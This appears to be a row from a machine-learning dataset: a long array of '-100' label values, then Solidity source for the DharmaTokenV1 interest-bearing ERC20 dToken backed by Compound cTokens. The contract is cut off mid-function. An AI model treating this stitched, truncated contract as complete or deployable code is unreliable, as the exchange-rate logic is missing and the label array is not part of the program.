-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.11;
import "./DharmaTokenHelpers.sol";
import "../../interfaces/CTokenInterface.sol";
import "../../interfaces/DTokenInterface.sol";
import "../../interfaces/ERC20Interface.sol";
import "../../interfaces/ERC1271Interface.sol";
/**
* @title DharmaTokenV1
* @author 0age (dToken mechanics derived from Compound cTokens, ERC20 mechanics
* derived from Open Zeppelin's ERC20 contract)
* @notice A Dharma Token (or dToken) is an upgradeable ERC20 token with support
* for meta-transactions that earns interest with respect to a given stablecoin,
* and is backed by that stablecoin's respective Compound cToken. The V1 dToken
* exchange rate will grow at 90% the rate of the backing cToken exchange rate.
* This abstract contract contains functionality shared by each dToken - those
* implementations will then inherit this contract and override any relevant,
* unimplemented internal functions with implementation-specific ones.
*/
contract DharmaTokenV1 is ERC20Interface, DTokenInterface, DharmaTokenHelpers {
// Set the version of the Dharma Token as a constant.
uint256 private constant _DTOKEN_VERSION = 1;
// Set block number and dToken + cToken exchange rate in slot zero on accrual.
AccrualIndex private _accrualIndex;
// Slot one tracks the total issued dTokens.
uint256 private _totalSupply;
// Slots two and three are entrypoints into balance and allowance mappings.
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Slot four is an entrypoint into a mapping for used meta-transaction hashes.
mapping (bytes32 => bool) private _executedMetaTxs;
/**
* @notice Transfer `underlyingToSupply` underlying tokens from `msg.sender`
* to this contract, use them to mint cTokens as backing, and mint dTokens to
* `msg.sender`. Ensure that this contract has been approved to transfer the
* underlying on behalf of the caller before calling this function.
* @param underlyingToSupply uint256 The amount of underlying to provide as
* part of minting.
* @return The amount of dTokens received in return for the supplied
* underlying tokens.
*/
function mint(
uint256 underlyingToSupply
) external returns (uint256 dTokensMinted) {
// Instantiate interfaces for the underlying token and the backing cToken.
ERC20Interface underlying = ERC20Interface(_getUnderlying());
CTokenInterface cToken = CTokenInterface(_getCToken());
// Pull in underlying - ensure that this contract has sufficient allowance.
require(
underlying.transferFrom(msg.sender, address(this), underlyingToSupply),
_getTransferFailureMessage()
);
// Use underlying to mint cTokens and ensure that the operation succeeds.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.mint.selector, underlyingToSupply
));
_checkCompoundInteraction(cToken.mint.selector, ok, data);
// Accrue after the Compound mint to avoid duplicating accrual calculations.
(uint256 dTokenExchangeRate, uint256 cTokenExchangeRate) = _accrue(false);
// Get underlying equivalent of minted cTokens to prevent "dust" griefing.
(, uint256 underlyingEquivalent) = _fromUnderlyingAndBack(
underlyingToSupply, cTokenExchangeRate, false, false
);
// Determine dTokens to mint using underlying equivalent and exchange rate.
dTokensMinted = _fromUnderlying(
underlyingEquivalent, dTokenExchangeRate, false
);
// Mint dTokens to the caller.
_mint(msg.sender, underlyingToSupply, dTokensMinted);
}
/**
* @notice Transfer `cTokensToSupply` cTokens from `msg.sender` to this
* contract and mint dTokens to `msg.sender`. Ensure that this contract has
* been approved to transfer the cTokens on behalf of the caller before
* calling this function.
* @param cTokensToSupply uint256 The amount of cTokens to provide as part of
* minting.
* @return The amount of dTokens received in return for the supplied cTokens.
*/
function mintViaCToken(
uint256 cTokensToSupply
) external returns (uint256 dTokensMinted) {
// Instantiate the interface for the backing cToken.
CTokenInterface cToken = CTokenInterface(_getCToken());
// Pull in cTokens - ensure that this contract has sufficient allowance.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.transferFrom.selector, msg.sender, address(this), cTokensToSupply
));
_checkCompoundInteraction(cToken.transferFrom.selector, ok, data);
// Accrue interest and retrieve current cToken and dToken exchange rates.
(uint256 dTokenExchangeRate, uint256 cTokenExchangeRate) = _accrue(true);
// Determine the underlying equivalent of the supplied cToken amount.
uint256 underlyingEquivalent = _toUnderlying(
cTokensToSupply, cTokenExchangeRate, false
);
// Determine dTokens to mint using underlying equivalent and exchange rate.
dTokensMinted = _fromUnderlying(
underlyingEquivalent, dTokenExchangeRate, false
);
// Mint dTokens to the caller.
_mint(msg.sender, underlyingEquivalent, dTokensMinted);
}
/**
* @notice Redeem `dTokensToBurn` dTokens from `msg.sender`, use the
* corresponding cTokens to redeem the required underlying, and transfer the
* redeemed underlying tokens to `msg.sender`.
* @param dTokensToBurn uint256 The amount of dTokens to provide in exchange
* for underlying tokens.
* @return The amount of underlying received in return for the provided
* dTokens.
*/
function redeem(
uint256 dTokensToBurn
) external returns (uint256 underlyingReceived) {
// Instantiate interfaces for the underlying token and the backing cToken.
ERC20Interface underlying = ERC20Interface(_getUnderlying());
CTokenInterface cToken = CTokenInterface(_getCToken());
// Accrue interest and retrieve current dToken and cToken exchange rates.
(uint256 dTokenExchangeRate, uint256 cTokenExchangeRate) = _accrue(true);
// Determine the equivalent underlying value of the dTokens to be burned.
uint256 underlyingEquivalent = _toUnderlying(
dTokensToBurn, dTokenExchangeRate, false
);
// Get minted cTokens and underlying equivalent to prevent "dust" griefing.
uint256 cTokenEquivalent;
(cTokenEquivalent, underlyingReceived) = _fromUnderlyingAndBack(
underlyingEquivalent, cTokenExchangeRate, false, false
);
// Burn the dTokens.
_burn(msg.sender, underlyingReceived, dTokensToBurn);
// Use cTokens to redeem underlying and ensure that the operation succeeds.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.redeem.selector, cTokenEquivalent
));
_checkCompoundInteraction(cToken.redeem.selector, ok, data);
// Send the redeemed underlying tokens to the caller.
require(
underlying.transfer(msg.sender, underlyingReceived),
_getTransferFailureMessage()
);
}
/**
* @notice Redeem `dTokensToBurn` dTokens from `msg.sender` and transfer the
* corresponding amount of cTokens to `msg.sender`.
* @param dTokensToBurn uint256 The amount of dTokens to provide in exchange
* for the cTokens.
* @return The amount of cTokens received in return for the provided dTokens.
*/
function redeemToCToken(
uint256 dTokensToBurn
) external returns (uint256 cTokensReceived) {
// Instantiate the interface for the backing cToken.
CTokenInterface cToken = CTokenInterface(_getCToken());
// Accrue interest and retrieve current cToken and dToken exchange rates.
(uint256 dTokenExchangeRate, uint256 cTokenExchangeRate) = _accrue(true);
// Determine the underlying token value of the dTokens to be burned.
uint256 underlyingEquivalent = _toUnderlying(
dTokensToBurn, dTokenExchangeRate, false
);
// Determine amount of cTokens corresponding to underlying equivalent value.
cTokensReceived = _fromUnderlying(
underlyingEquivalent, cTokenExchangeRate, false
);
// Burn the dTokens.
_burn(msg.sender, underlyingEquivalent, dTokensToBurn);
// Transfer cTokens to the caller and ensure that the operation succeeds.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.transfer.selector, msg.sender, cTokensReceived
));
_checkCompoundInteraction(cToken.transfer.selector, ok, data);
}
/**
* @notice Redeem the dToken equivalent value of the underlying token amount
* `underlyingToReceive` from `msg.sender`, use the corresponding cTokens to
* redeem the underlying, and transfer the underlying to `msg.sender`.
* @param underlyingToReceive uint256 The amount, denominated in the
* underlying token, of the cToken to redeem in exchange for the received
* underlying token.
* @return The amount of dTokens burned in exchange for the returned
* underlying tokens.
*/
function redeemUnderlying(
uint256 underlyingToReceive
) external returns (uint256 dTokensBurned) {
// Instantiate interfaces for the underlying token and the backing cToken.
ERC20Interface underlying = ERC20Interface(_getUnderlying());
CTokenInterface cToken = CTokenInterface(_getCToken());
// Use cTokens to redeem underlying and ensure that the operation succeeds.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.redeemUnderlying.selector, underlyingToReceive
));
_checkCompoundInteraction(cToken.redeemUnderlying.selector, ok, data);
// Accrue after the Compound redeem to avoid duplicating calculations.
(uint256 dTokenExchangeRate, uint256 cTokenExchangeRate) = _accrue(false);
// Get underlying equivalent of redeemed cTokens to prevent "dust" griefing.
(, uint256 underlyingEquivalent) = _fromUnderlyingAndBack(
underlyingToReceive, cTokenExchangeRate, true, true // rounding up both
);
// Determine the dTokens to redeem using the exchange rate, rounding up.
dTokensBurned = _fromUnderlying(
underlyingEquivalent, dTokenExchangeRate, true
);
// Burn the dTokens.
_burn(msg.sender, underlyingToReceive, dTokensBurned);
// Send the redeemed underlying tokens to the caller.
require(
underlying.transfer(msg.sender, underlyingToReceive),
_getTransferFailureMessage()
);
}
/**
* @notice Redeem the dToken equivalent value of the underlying tokens of
* amount `underlyingToReceive` from `msg.sender` and transfer the
* corresponding amount of cTokens to `msg.sender`.
* @param underlyingToReceive uint256 The amount, denominated in the
* underlying token, of cTokens to receive.
* @return The amount of dTokens burned in exchange for the returned cTokens.
*/
function redeemUnderlyingToCToken(
uint256 underlyingToReceive
) external returns (uint256 dTokensBurned) {
// Instantiate the interface for the backing cToken.
CTokenInterface cToken = CTokenInterface(_getCToken());
// Accrue interest and retrieve current cToken and dToken exchange rates.
(uint256 dTokenExchangeRate, uint256 cTokenExchangeRate) = _accrue(true);
// Get received cTokens and underlying equivalent (prevent "dust" griefing).
(
uint256 cTokensToReceive, uint256 underlyingEquivalent
) = _fromUnderlyingAndBack(
underlyingToReceive, cTokenExchangeRate, false, true // round down cTokens
);
// Determine redeemed dTokens using equivalent underlying value, rounded up.
dTokensBurned = _fromUnderlying(
underlyingEquivalent, dTokenExchangeRate, true
);
// Burn the dTokens.
_burn(msg.sender, underlyingToReceive, dTokensBurned);
// Transfer cTokens to the caller and ensure that the operation succeeds.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.transfer.selector, msg.sender, cTokensToReceive
));
_checkCompoundInteraction(cToken.transfer.selector, ok, data);
}
/**
* @notice Transfer cTokens with underlying value in excess of the total
* underlying dToken value to a dedicated "vault" account. A "hard" accrual
* will first be performed, triggering an accrual on both the cToken and the
* dToken.
* @return The amount of cTokens transferred to the vault account.
*/
function pullSurplus() external returns (uint256 cTokenSurplus) {
// Instantiate the interface for the backing cToken.
CTokenInterface cToken = CTokenInterface(_getCToken());
// Accrue interest on the cToken and ensure that the operation succeeds.
(bool ok, bytes memory data) = address(cToken).call(abi.encodeWithSelector(
cToken.accrueInterest.selector
));
_checkCompoundInteraction(cToken.accrueInterest.selector, ok, data);
// Accrue interest on the dToken, reusing the stored cToken exchange rate.
_accrue(false);
// Determine cToken surplus in underlying (cToken value - dToken value).
uint256 underlyingSurplus;
(underlyingSurplus, cTokenSurplus) = _getSurplus();
// Transfer cToken surplus to vault and ensure that the operation succeeds.
(ok, data) = address(cToken).call(abi.encodeWithSelector(
cToken.transfer.selector, _getVault(), cTokenSurplus
));
_checkCompoundInteraction(cToken.transfer.selector, ok, data);
emit CollectSurplus(underlyingSurplus, cTokenSurplus);
}
/**
* @notice Manually advance the dToken exchange rate and cToken exchange rate
* to that of the current block. Note that dToken accrual does not trigger
* cToken accrual - instead, the updated exchange rate will be calculated
* internally.
*/
function accrueInterest() external {
// Accrue interest on the dToken.
_accrue(true);
}
/**
* @notice Transfer `amount` dTokens from `msg.sender` to `recipient`.
* @param recipient address The account to transfer the dTokens to.
* @param amount uint256 The amount of dTokens to transfer.
* @return A boolean indicating whether the transfer was successful.
*/
function transfer(
address recipient, uint256 amount
) external returns (bool success) {
_transfer(msg.sender, recipient, amount);
success = true;
}
/**
* @notice Transfer dTokens equivalent to `underlyingEquivalentAmount`
* underlying from `msg.sender` to `recipient`.
* @param recipient address The account to transfer the dTokens to.
* @param underlyingEquivalentAmount uint256 The underlying equivalent amount
* of dTokens to transfer.
* @return A boolean indicating whether the transfer was successful.
*/
function transferUnderlying(
address recipient, uint256 underlyingEquivalentAmount
) external returns (bool success) {
// Accrue interest and retrieve the current dToken exchange rate.
(uint256 dTokenExchangeRate, ) = _accrue(true);
// Determine dToken amount to transfer using the exchange rate, rounded up.
uint256 dTokenAmount = _fromUnderlying(
underlyingEquivalentAmount, dTokenExchangeRate, true
);
// Transfer the dTokens.
_transfer(msg.sender, recipient, dTokenAmount);
success = true;
}
/**
* @notice Approve `spender` to transfer up to `value` dTokens on behalf of
* `msg.sender`.
* @param spender address The account to grant the allowance.
* @param value uint256 The size of the allowance to grant.
* @return A boolean indicating whether the approval was successful.
*/
function approve(
address spender, uint256 value
) external returns (bool success) {
_approve(msg.sender, spender, value);
success = true;
}
/**
* @notice Transfer `amount` dTokens from `sender` to `recipient` as long as
* `msg.sender` has sufficient allowance.
* @param sender address The account to transfer the dTokens from.
* @param recipient address The account to transfer the dTokens to.
* @param amount uint256 The amount of dTokens to transfer.
* @return A boolean indicating whether the transfer was successful.
*/
function transferFrom(
address sender, address recipient, uint256 amount
) external returns (bool success) {
_transferFrom(sender, recipient, amount);
success = true;
}
/**
* @notice Transfer dTokens eqivalent to `underlyingEquivalentAmount`
* underlying from `sender` to `recipient` as long as `msg.sender` has
* sufficient allowance.
* @param sender address The account to transfer the dTokens from.
* @param recipient address The account to transfer the dTokens to.
* @param underlyingEquivalentAmount uint256 The underlying equivalent amount
* of dTokens to transfer.
* @return A boolean indicating whether the transfer was successful.
*/
function transferUnderlyingFrom(
address sender, address recipient, uint256 underlyingEquivalentAmount
) external returns (bool success) {
// Accrue interest and retrieve the current dToken exchange rate.
(uint256 dTokenExchangeRate, ) = _accrue(true);
// Determine dToken amount to transfer using the exchange rate, rounded up.
uint256 dTokenAmount = _fromUnderlying(
underlyingEquivalentAmount, dTokenExchangeRate, true
);
// Transfer the dTokens and adjust allowance accordingly.
_transferFrom(sender, recipient, dTokenAmount);
success = true;
}
/**
* @notice Increase the current allowance of `spender` by `value` dTokens.
* @param spender address The account to grant the additional allowance.
* @param addedValue uint256 The amount to increase the allowance by.
* @return A boolean indicating whether the modification was successful.
*/
function increaseAllowance(
address spender, uint256 addedValue
) external returns (bool success) {
_approve(
msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)
);
success = true;
}
/**
* @notice Decrease the current allowance of `spender` by `value` dTokens.
* @param spender address The account to decrease the allowance for.
* @param subtractedValue uint256 The amount to subtract from the allowance.
* @return A boolean indicating whether the modification was successful.
*/
function decreaseAllowance(
address spender, uint256 subtractedValue
) external returns (bool success) {
_approve(
msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)
);
success = true;
}
/**
* @notice Modify the current allowance of `spender` for `owner` by `value`
* dTokens, increasing it if `increase` is true otherwise decreasing it, via a
* meta-transaction that expires at `expiration` (or does not expire if the
* value is zero) and uses `salt` as an additional input, validated using
* `signatures`.
* @param owner address The account granting the modified allowance.
* @param spender address The account to modify the allowance for.
* @param value uint256 The amount to modify the allowance by.
* @param increase bool A flag that indicates whether the allowance will be
* increased by the specified value (if true) or decreased by it (if false).
* @param expiration uint256 A timestamp indicating how long the modification
* meta-transaction is valid for - a value of zero will signify no expiration.
* @param salt bytes32 An arbitrary salt to be provided as an additional input
* to the hash digest used to validate the signatures.
* @param signatures bytes A signature, or collection of signatures, that the
* owner must provide in order to authorize the meta-transaction. If the
* account of the owner does not have any runtime code deployed to it, the
* signature will be verified using ecrecover; otherwise, it will be supplied
* to the owner along with the message digest and context via ERC-1271 for
* validation.
* @return A boolean indicating whether the modification was successful.
*/
function modifyAllowanceViaMetaTransaction(
address owner,
address spender,
uint256 value,
bool increase,
uint256 expiration,
bytes32 salt,
bytes calldata signatures
) external returns (bool success) {
require(expiration == 0 || now <= expiration, "Meta-transaction expired.");
// Construct the meta-transaction's message hash based on relevant context.
bytes memory context = abi.encodePacked(
address(this),
// _DTOKEN_VERSION,
this.modifyAllowanceViaMetaTransaction.selector,
expiration,
salt,
abi.encode(owner, spender, value, increase)
);
bytes32 messageHash = keccak256(context);
// Ensure message hash has never been used before and register it as used.
require(!_executedMetaTxs[messageHash], "Meta-transaction already used.");
_executedMetaTxs[messageHash] = true;
// Construct the digest to compare signatures against using EIP-191 0x45.
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash)
);
// Calculate new allowance by applying modification to current allowance.
uint256 currentAllowance = _allowances[owner][spender];
uint256 newAllowance = (
increase ? currentAllowance.add(value) : currentAllowance.sub(value)
);
// Use EIP-1271 if owner is a contract - otherwise, use ecrecover.
if (_isContract(owner)) {
// Validate via ERC-1271 against the owner account.
bytes memory data = abi.encode(digest, context);
bytes4 magic = ERC1271Interface(owner).isValidSignature(data, signatures);
require(magic == bytes4(0x20c13b0b), "Invalid signatures.");
} else {
// Validate via ecrecover against the owner account.
_verifyRecover(owner, digest, signatures);
}
// Modify the allowance.
_approve(owner, spender, newAllowance);
success = true;
}
/**
* @notice View function to determine a meta-transaction message hash, and to
* determine if it is still valid (i.e. it has not yet been used and is not
* expired). The returned message hash will need to be prefixed using EIP-191
* 0x45 and hashed again in order to generate a final digest for the required
* signature - in other words, the same procedure utilized by `eth_Sign`.
* @param functionSelector bytes4 The function selector for the given
* meta-transaction. There is only one function selector available for V1:
* `0x2d657fa5` (the selector for `modifyAllowanceViaMetaTransaction`).
* @param arguments bytes The abi-encoded function arguments (aside from the
* `expiration`, `salt`, and `signatures` arguments) that should be supplied
* to the given function.
* @param expiration uint256 A timestamp indicating how long the given
* meta-transaction is valid for - a value of zero will signify no expiration.
* @param salt bytes32 An arbitrary salt to be provided as an additional input
* to the hash digest used to validate the signatures.
* @return The total supply.
*/
function getMetaTransactionMessageHash(
bytes4 functionSelector,
bytes calldata arguments,
uint256 expiration,
bytes32 salt
) external view returns (bytes32 messageHash, bool valid) {
// Construct the meta-transaction's message hash based on relevant context.
messageHash = keccak256(
abi.encodePacked(
address(this), functionSelector, expiration, salt, arguments
)
);
// The meta-transaction is valid if it has not been used and is not expired.
valid = (
!_executedMetaTxs[messageHash] && (expiration == 0 || now <= expiration)
);
}
/**
* @notice View function to get the total dToken supply.
* @return The total supply.
*/
function totalSupply() external view returns (uint256 dTokenTotalSupply) {
dTokenTotalSupply = _totalSupply;
}
/**
* @notice View function to get the total dToken supply, denominated in the
* underlying token.
* @return The total supply.
*/
function totalSupplyUnderlying() external view returns (
uint256 dTokenTotalSupplyInUnderlying
) {
(uint256 dTokenExchangeRate, ,) = _getExchangeRates(true);
// Determine total value of all issued dTokens, denominated as underlying.
dTokenTotalSupplyInUnderlying = _toUnderlying(
_totalSupply, dTokenExchangeRate, false
);
}
/**
* @notice View function to get the total dToken balance of an account.
* @param account address The account to check the dToken balance for.
* @return The balance of the given account.
*/
function balanceOf(address account) external view returns (uint256 dTokens) {
dTokens = _balances[account];
}
/**
* @notice View function to get the dToken balance of an account, denominated
* in the underlying equivalent value.
* @param account address The account to check the balance for.
* @return The total underlying-equivalent dToken balance.
*/
function balanceOfUnderlying(
address account
) external view returns (uint256 underlyingBalance) {
// Get most recent dToken exchange rate by determining accrued interest.
(uint256 dTokenExchangeRate, ,) = _getExchangeRates(true);
// Convert account balance to underlying equivalent using the exchange rate.
underlyingBalance = _toUnderlying(
_balances[account], dTokenExchangeRate, false
);
}
/**
* @notice View function to get the total allowance that `spender` has to
* transfer dTokens from the `owner` account using `transferFrom`.
* @param owner address The account that is granting the allowance.
* @param spender address The account that has been granted the allowance.
* @return The allowance of the given spender for the given owner.
*/
function allowance(
address owner, address spender
) external view returns (uint256 dTokenAllowance) {
dTokenAllowance = _allowances[owner][spender];
}
/**
* @notice View function to get the current dToken exchange rate (multiplied
* by 10^18).
* @return The current exchange rate.
*/
function exchangeRateCurrent() external view returns (
uint256 dTokenExchangeRate
) {
// Get most recent dToken exchange rate by determining accrued interest.
(dTokenExchangeRate, ,) = _getExchangeRates(true);
}
/**
* @notice View function to get the current dToken interest earned per block
* (multiplied by 10^18).
* @return The current interest rate.
*/
function supplyRatePerBlock() external view returns (
uint256 dTokenInterestRate
) {
(dTokenInterestRate,) = _getRatePerBlock();
}
/**
* @notice View function to get the block number where accrual was last
* performed.
* @return The block number where accrual was last performed.
*/
function accrualBlockNumber() external view returns (uint256 blockNumber) {
blockNumber = _accrualIndex.block;
}
/**
* @notice View function to get the total surplus, or the cToken balance that
* exceeds the aggregate underlying value of the total dToken supply.
* @return The total surplus in cTokens.
*/
function getSurplus() external view returns (uint256 cTokenSurplus) {
// Determine the cToken (cToken underlying value - dToken underlying value).
(, cTokenSurplus) = _getSurplus();
}
/**
* @notice View function to get the total surplus in the underlying, or the
* underlying equivalent of the cToken balance that exceeds the aggregate
* underlying value of the total dToken supply.
* @return The total surplus, denominated in the underlying.
*/
function getSurplusUnderlying() external view returns (
uint256 underlyingSurplus
) {
// Determine cToken surplus in underlying (cToken value - dToken value).
(underlyingSurplus, ) = _getSurplus();
}
/**
* @notice View function to get the interest rate spread taken by the dToken
* from the current cToken supply rate per block (multiplied by 10^18).
* @return The current interest rate spread.
*/
function getSpreadPerBlock() external view returns (uint256 rateSpread) {
(
uint256 dTokenInterestRate, uint256 cTokenInterestRate
) = _getRatePerBlock();
rateSpread = cTokenInterestRate.sub(dTokenInterestRate);
}
/**
* @notice Pure function to get the name of the dToken.
* @return The name of the dToken.
*/
function name() external pure returns (string memory dTokenName) {
dTokenName = _getDTokenName();
}
/**
* @notice Pure function to get the symbol of the dToken.
* @return The symbol of the dToken.
*/
function symbol() external pure returns (string memory dTokenSymbol) {
dTokenSymbol = _getDTokenSymbol();
}
/**
* @notice Pure function to get the number of decimals of the dToken.
* @return The number of decimals of the dToken.
*/
function decimals() external pure returns (uint8 dTokenDecimals) {
dTokenDecimals = _DECIMALS;
}
/**
* @notice Pure function to get the dToken version.
* @return The version of the dToken.
*/
function getVersion() external pure returns (uint256 version) {
version = _DTOKEN_VERSION;
}
/**
* @notice Pure function to get the address of the cToken backing this dToken.
* @return The address of the cToken backing this dToken.
*/
function getCToken() external pure returns (address cToken) {
cToken = _getCToken();
}
/**
* @notice Pure function to get the address of the underlying token of this
* dToken.
* @return The address of the underlying token for this dToken.
*/
function getUnderlying() external pure returns (address underlying) {
underlying = _getUnderlying();
}
/**
* @notice Private function to trigger accrual and to update the dToken and
* cToken exchange rates in storage if necessary. The `compute` argument can
* be set to false if an accrual has already taken place on the cToken before
* calling this function.
* @param compute bool A flag to indicate whether the cToken exchange rate
* needs to be computed - if false, it will simply be read from storage on the
* cToken in question.
* @return The current dToken and cToken exchange rates.
*/
function _accrue(bool compute) private returns (
uint256 dTokenExchangeRate, uint256 cTokenExchangeRate
) {
bool alreadyAccrued;
(
dTokenExchangeRate, cTokenExchangeRate, alreadyAccrued
) = _getExchangeRates(compute);
if (!alreadyAccrued) {
// Update storage with dToken + cToken exchange rates as of current block.
AccrualIndex storage accrualIndex = _accrualIndex;
accrualIndex.dTokenExchangeRate = _safeUint112(dTokenExchangeRate);
accrualIndex.cTokenExchangeRate = _safeUint112(cTokenExchangeRate);
accrualIndex.block = uint32(block.number);
emit Accrue(dTokenExchangeRate, cTokenExchangeRate);
}
}
/**
* @notice Private function to mint `amount` tokens by exchanging `exchanged`
* tokens to `account` and emit corresponding `Mint` & `Transfer` events.
* @param account address The account to mint tokens to.
* @param exchanged uint256 The amount of underlying tokens used to mint.
* @param amount uint256 The amount of tokens to mint.
*/
function _mint(address account, uint256 exchanged, uint256 amount) private {
require(
exchanged > 0 && amount > 0, "Mint failed: insufficient funds supplied."
);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Mint(account, exchanged, amount);
emit Transfer(address(0), account, amount);
}
/**
* @notice Private function to burn `amount` tokens by exchanging `exchanged`
* tokens from `account` and emit corresponding `Redeeem` & `Transfer` events.
* @param account address The account to burn tokens from.
* @param exchanged uint256 The amount of underlying tokens given for burning.
* @param amount uint256 The amount of tokens to burn.
*/
function _burn(address account, uint256 exchanged, uint256 amount) private {
require(
exchanged > 0 && amount > 0, "Redeem failed: insufficient funds supplied."
);
uint256 balancePriorToBurn = _balances[account];
require(
balancePriorToBurn >= amount, "Supplied amount exceeds account balance."
);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = balancePriorToBurn - amount; // overflow checked above
emit Transfer(account, address(0), amount);
emit Redeem(account, exchanged, amount);
}
/**
* @notice Private function to move `amount` tokens from `sender` to
* `recipient` and emit a corresponding `Transfer` event.
* @param sender address The account to transfer tokens from.
* @param recipient address The account to transfer tokens to.
* @param amount uint256 The amount of tokens to transfer.
*/
function _transfer(
address sender, address recipient, uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Insufficient funds.");
_balances[sender] = senderBalance - amount; // overflow checked above.
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @notice Private function to transfer `amount` tokens from `sender` to
* `recipient` and to deduct the transferred amount from the allowance of the
* caller unless the allowance is set to the maximum amount.
* @param sender address The account to transfer tokens from.
* @param recipient address The account to transfer tokens to.
* @param amount uint256 The amount of tokens to transfer.
*/
function _transferFrom(
address sender, address recipient, uint256 amount
) private {
_transfer(sender, recipient, amount);
uint256 callerAllowance = _allowances[sender][msg.sender];
if (callerAllowance != uint256(-1)) {
require(callerAllowance >= amount, "Insufficient allowance.");
_approve(sender, msg.sender, callerAllowance - amount); // overflow safe.
}
}
/**
* @notice Private function to set the allowance for `spender` to transfer up
* to `value` tokens on behalf of `owner`.
* @param owner address The account that has granted the allowance.
* @param spender address The account to grant the allowance.
* @param value uint256 The size of the allowance to grant.
*/
function _approve(address owner, address spender, uint256 value) private {
require(owner != address(0), "ERC20: approve for the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @notice Private view function to get the latest dToken and cToken exchange
* rates and provide the value for each. The `compute` argument can be set to
* false if an accrual has already taken place on the cToken before calling
* this function.
* @param compute bool A flag to indicate whether the cToken exchange rate
* needs to be computed - if false, it will simply be read from storage on the
* cToken in question.
* @return The dToken and cToken exchange rate, as well as a boolean
* indicating if interest accrual has been processed already or needs to be
* calculated and placed in storage.
*/
function _getExchangeRates(bool compute) private view returns (
uint256 dTokenExchangeRate, uint256 cTokenExchangeRate, bool fullyAccrued
) {
// Get the stored accrual block and dToken + cToken exhange rates.
AccrualIndex memory accrualIndex = _accrualIndex;
uint256 storedDTokenExchangeRate = uint256(accrualIndex.dTokenExchangeRate);
uint256 storedCTokenExchangeRate = uint256(accrualIndex.cTokenExchangeRate);
uint256 accrualBlock = uint256(accrualIndex.block);
// Use stored exchange rates if an accrual has already occurred this block.
fullyAccrued = (accrualBlock == block.number);
if (fullyAccrued) {
dTokenExchangeRate = storedDTokenExchangeRate;
